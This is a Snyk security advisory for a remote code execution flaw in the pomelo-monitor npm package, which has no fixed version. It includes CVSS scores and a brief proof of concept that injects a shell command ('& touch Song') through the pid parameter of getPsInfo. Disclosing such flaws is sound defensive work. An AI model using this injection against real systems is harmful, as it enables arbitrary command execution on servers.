Remote Code Execution (RCE) Affecting pomelo-monitor package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.37% (73rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-POMELOMONITOR-173695
  • published 28 Dec 2018
  • disclosed 14 Feb 2018
  • credit JHU System Security Lab

How to fix?

There is no fixed version for pomelo-monitor.

Overview

pomelo-monitor is a Simple, comprehensive monitoring tool for operating-system and process in nodejs.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). It is possible to inject arbitrary commands as part of pomelo-monitor params.

PoC


var root =require("pomelo-monitor");
var param ={
  pid: "& touch Song "
}

root.psmonitor.getPsInfo(param,function(){});

CVSS Scores

version 3.1
Expand this section

Snyk

6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    None
Expand this section

NVD

9.8 critical